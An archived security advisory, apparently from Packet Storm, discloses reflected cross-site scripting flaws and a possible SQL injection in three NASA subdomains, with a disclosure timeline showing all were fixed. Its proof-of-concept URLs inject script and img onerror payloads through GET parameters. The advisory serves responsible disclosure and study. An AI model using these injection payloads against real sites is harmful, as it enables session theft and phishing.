what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

NASA.gov Cross Site Scripting

NASA.gov Cross Site Scripting
Posted Jan 27, 2015
Authored by Yann CAM

Multiple nasa.gov subdomains suffered from cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 6191218f1434ba043aed4a65a60f43793bbac40fe0e83ed770b31f5accb7a689

NASA.gov Cross Site Scripting

Change Mirror Download
######################################################################
# Exploit Title: NASA.gov sub-domains Multiple vulnerabilities
# Date: 27/01/2015
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.nasa.gov
# Version: /
# Category: Multiple vulnerabilities
# Google dork:
# Tested on: NASA.gov sub-domains
######################################################################

NASA description :
=======================================================================================

The National Aeronautics and Space Administration (NASA) is the United States government agency responsible for the civilian space program as well as
aeronautics and aerospace research.

There are several sub-domains and independent projects within NASA.
Those affected by this advisory are :

- Planetary Data System (PDS) : Reflected Cross-Site Scripting (RXSS)
- NASA’s Archive of Data on Energetic Phenomena (HEASARC) : Reflected Cross-Site Scripting (RXSS)
- Direct Readout Laboratory (directreadout) de la NASA : Reflected Cross-Site Scripting (RXSS) and potential SQLi.


Vulnerability description :
=======================================================================================
Reflected XSS are available in each nasa.gov sub-domain above.
Through this kind of vulnerability, an attacker could tamper with page rendering, redirect victims to fake NASA portals, or capture NASA's users credentials such cookies.
These reflected XSS are on GET variables and are not properly sanitized before being used in pages.


Planetary Data System (PDS) - pds.nasa.gov - PoC :
=======================================================================================

A non-persistent XSS (RXSS) in "INSTRUMENT_HOST_ID" GET param is available in the pds.nasa.gov sub-domain.
Tested on Firefox 33.0.

PoC:

http://pds.nasa.gov/ds-view/pds/viewHostProfile.jsp?INSTRUMENT_HOST_ID=NH<img src='x' onerror='alert(/Reflected XSS - Yann CAM @ASAfety/)' />


NASA’s Archive of Data on Energetic Phenomena (HEASARC) - heasarc.gsfc.nasa.gov - PoC :
=======================================================================================

A non-persistent XSS (RXSS) in "sid" GET param is available in the heasarc.gsfc.nasa.gov sub-domain.
Tested on Firefox 33.0.

PoC:

http://heasarc.gsfc.nasa.gov/vo/validation/vresults.pl?show=details&sid=1337<script>alert(/Reflected XSS - Yann CAM @ASAfety/)</script>&runid=539653&switch=no

http://heasarc.gsfc.nasa.gov/vo/validation/vresults.pl?show=oldtests&sid=1337'><script>alert(/Reflected XSS - Yann CAM @ASAfety/)</script>&runid=539653


Direct Readout Laboratory (directreadout) - directreadout.sci.gsfc.nasa.gov - PoC :
=======================================================================================

A non-persistent XSS (RXSS) and potential SQLi in "cid" GET param is available in the directreadout.sci.gsfc.nasa.gov sub-domain.
Tested on Firefox 33.0.

PoC:

http://directreadout.sci.gsfc.nasa.gov/?id=dspContent&cid=159---><img src=x onerror='alert(/Reflected XSS | SQLi - Yann CAM @ASAfety/);' />

Error in source code :

Diagnostics:<br>
Invalid data 159---><img src=x onerror='alert(/Reflected XSS | SQLi - Yann CAM @ASAfety/);' /> for CFSQLTYPE CF_SQL_INTEGER. <br>The error occurred on line 13.


Screenshots :
=======================================================================================

- http://www.asafety.fr/data/20140824-nasa001.png
- http://www.asafety.fr/data/20140824-nasa002.png
- http://www.asafety.fr/data/20140824-nasa003.png
- http://www.asafety.fr/data/20140824-nasa004.png
- http://www.asafety.fr/data/20140824-nasa005.png


Solution:
=======================================================================================

Fixed by each NASA Portal's team.


Additional resources :
=======================================================================================

- http://www.nasa.gov/
- http://pds.nasa.gov/
- http://heasarc.gsfc.nasa.gov/
- http://directreadout.sci.gsfc.nasa.gov/
- http://www.asafety.fr/vuln-exploit-poc/contribution-nasa-sous-domaines-multiples-vulnerabilites/
- http://www.synetis.com


Report timeline :
=======================================================================================

2014-10-31 : Each NASA Portal's team was alerted by email.
2014-10-31 : PDS team feedback with thanks.
2014-11-04 : PDS and HEASEARC portals fixed.
2014-12-04 : Second email to DRL team to get a status.
2014-12-27 : Account creation on DRL portal to send tp the DRL team through contact form.
2015-01-07 : DRL portal seems to be fixed. All vulnerabilities are fixed on each portal.
2015-01-27 : Public advisory

Credits :
=======================================================================================

88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security

Yann CAM - Security Consultant @ Synetis | ASafety

--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close